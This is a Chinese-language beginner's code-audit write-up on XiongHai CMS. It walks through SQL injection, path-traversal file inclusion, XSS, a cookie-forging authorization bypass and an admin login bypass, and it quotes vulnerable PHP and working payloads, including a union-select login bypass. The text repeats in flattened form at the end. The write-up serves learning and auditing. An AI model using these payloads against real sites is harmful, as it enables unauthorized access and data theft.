熊海cms代码审计(新手入门向)
字数 1029 2025-08-25 22:58:34

熊海CMS代码审计入门指南

目录结构分析

熊海CMS的主要目录结构如下:

──admin     //后台文件
──css       //css文件
──files    //功能函数文件
──images   //图片
──index.php //主目录文件
──install   //安装文件
──seacmseditor  //编辑器
──template      //模板文件
──upload    //文件上传目录

一、安装流程中的SQL注入漏洞

漏洞位置/install/index.php

漏洞分析

  1. 代码首先检测是否生成了InstallLock.txt文件
  2. 直接执行未经过滤的SQL语句,导致SQL注入

漏洞利用步骤

  1. 删除安装目录下的installLock.txt文件
  2. 重新进入安装界面
  3. 在管理账号一栏输入payload

Payload示例

1' extractvalue(1,concat(0x7e,(select @@version),0x7e))#

二、主目录文件包含漏洞

漏洞位置:主入口文件

漏洞代码分析

error_reporting(0);
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; 
include('files/'.$action.'.php'); //载入相应文件

漏洞利用

  1. 在CMS根目录下创建测试文件(如phpinfo文件)
  2. 通过../进行目录跳转

利用示例

index.php?r=../phpinfo

三、前台多处SQL注入漏洞

1. software.php漏洞

位置files/software.php第13行

$query = "UPDATE download SET hit = hit+1 WHERE id=$id";

2. content.php漏洞

位置files/content.php第19行

$query = "UPDATE content SET hit = hit+1 WHERE id=$id";

3. submit.php漏洞

位置files/submit.php多个位置

漏洞点1:第66行

$query = "SELECT * FROM interaction WHERE( mail = '$mail')";

漏洞点2:第121-147行

$query = "INSERT INTO interaction (...) VALUES (...)";

漏洞点3:第176行

$query = "SELECT * FROM content WHERE( id= $cid)";

漏洞点4:第206行

$query = "SELECT * FROM download WHERE( id= $cid)";

四、XSS漏洞

1. 反射型XSS

位置files/contact.php第12-15行

$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";

Payload示例

page=

2. 存储型XSS

位置files/content.php中的评论显示部分

虽然评论内容被过滤:

$content=addslashes(strip_tags($content));

但昵称部分未充分过滤,导致存储型XSS。

五、越权漏洞

漏洞位置inc/checklogin.php

漏洞代码

$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;   
}

漏洞利用

  1. 登录后台并访问某个功能页面(如?r=newwz
  2. 退出登录
  3. 在cookie中添加任意user
  4. 直接访问之前的功能页面

六、后台万能密码登录

漏洞位置admin/files/login.php

漏洞代码

$user=$_POST['user'];
$password=$_POST['password'];
$query = "SELECT * FROM manage WHERE user='$user'";
//...
if(md5($password)<>$passwords){
//...

漏洞利用Payload

用户名

1' union select 1,2,'test','c4ca4238a0b923820dcc509a6f75849b',5,6,7,8#

密码1 (md5值为c4ca4238a0b923820dcc509a6f75849b)

总结

熊海CMS存在多种安全漏洞,包括:

  1. 安装流程SQL注入
  2. 文件包含漏洞
  3. 多处SQL注入(前台)
  4. 反射型和存储型XSS
  5. 越权访问
  6. 后台万能密码

这些漏洞主要源于:

  • 未充分过滤用户输入
  • 直接拼接SQL语句
  • 权限验证不严格
  • 文件包含控制不严

虽然这些漏洞较为基础,但对于学习代码审计思路非常有帮助。在实际审计中,应重点关注用户输入点、数据库操作和权限验证等关键环节。

熊海CMS代码审计入门指南 目录结构分析 熊海CMS的主要目录结构如下: 一、安装流程中的SQL注入漏洞 漏洞位置 : /install/index.php 漏洞分析 代码首先检测是否生成了 InstallLock.txt 文件 直接执行未经过滤的SQL语句,导致SQL注入 漏洞利用步骤 删除安装目录下的 installLock.txt 文件 重新进入安装界面 在管理账号一栏输入payload Payload示例 : 二、主目录文件包含漏洞 漏洞位置 :主入口文件 漏洞代码分析 漏洞利用 在CMS根目录下创建测试文件(如phpinfo文件) 通过 ../ 进行目录跳转 利用示例 : 三、前台多处SQL注入漏洞 1. software.php漏洞 位置 : files/software.php 第13行 2. content.php漏洞 位置 : files/content.php 第19行 3. submit.php漏洞 位置 : files/submit.php 多个位置 漏洞点1:第66行 漏洞点2:第121-147行 漏洞点3:第176行 漏洞点4:第206行 四、XSS漏洞 1. 反射型XSS 位置 : files/contact.php 第12-15行 Payload示例 : 2. 存储型XSS 位置 : files/content.php 中的评论显示部分 虽然评论内容被过滤: 但昵称部分未充分过滤,导致存储型XSS。 五、越权漏洞 漏洞位置 : inc/checklogin.php 漏洞代码 漏洞利用 登录后台并访问某个功能页面(如 ?r=newwz ) 退出登录 在cookie中添加任意 user 值 直接访问之前的功能页面 六、后台万能密码登录 漏洞位置 : admin/files/login.php 漏洞代码 漏洞利用Payload 用户名 : 密码 : 1 (md5值为 c4ca4238a0b923820dcc509a6f75849b ) 总结 熊海CMS存在多种安全漏洞,包括: 安装流程SQL注入 文件包含漏洞 多处SQL注入(前台) 反射型和存储型XSS 越权访问 后台万能密码 这些漏洞主要源于: 未充分过滤用户输入 直接拼接SQL语句 权限验证不严格 文件包含控制不严 虽然这些漏洞较为基础,但对于学习代码审计思路非常有帮助。在实际审计中,应重点关注用户输入点、数据库操作和权限验证等关键环节。